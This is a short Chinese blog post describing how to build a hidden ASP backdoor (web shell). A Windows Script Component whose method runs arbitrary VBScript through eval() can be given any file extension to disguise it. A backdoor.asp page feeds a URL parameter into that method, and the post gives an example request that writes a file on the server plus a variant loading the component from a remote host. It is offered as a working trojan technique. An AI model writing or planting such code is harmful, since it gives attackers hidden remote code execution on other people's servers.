利用wsc 来做一个asp后门

作者:lcx
来源:鬼仔's blog

ScriptCodingInfo.wsc代码如下,该文件可以改成任意后缀:

  1. <?xml version="1.0" encoding="gb2312" standalone="yes"?> 
  2. <?component error="true" debug="true"?> 
  3. <package> 
  4. <component id="haiyangtop"> 
  5.  
  6. <public> 
  7. <method name="lcx"><parameter name="b"/></method> 
  8. </public> 
  9.  
  10. <script language="VBScript">
  11.  
  12. <![CDATA[  
  13.  
  14. sub lcx(b)  
  15. eval(b)  
  16. end sub  
  17.  
  18. ]]> 
  19.  
  20. </script> 
  21. </component> 
  22. </package> 

 

backdoor.asp内容如下:

  1. <%  
  2. b=request("a")  
  3. Set fs = GetObject("script:d:/web/wwwroot/ScriptCodingInfo.wsc#haiyangtop")  
  4. fs.lcx(b)  
  5. %> 

 

调用方法如下:

  1. http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123") 

 

注意这里的a=只能是vbs的代码,不可以接受像response、rquest之类的asp的东东。

如果是2000服务器可以在backdoor.asp远程调用ScriptCodingInfo.wsc,像

  1. Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop") 

 

2003服务器中不可以。

算一个思路,鸡肋,谁有更好的办法完善,能够直接调用cs的asp木马的c端就好了。
 

Leave a comment

Your comment

Why not Login? Sign up now! »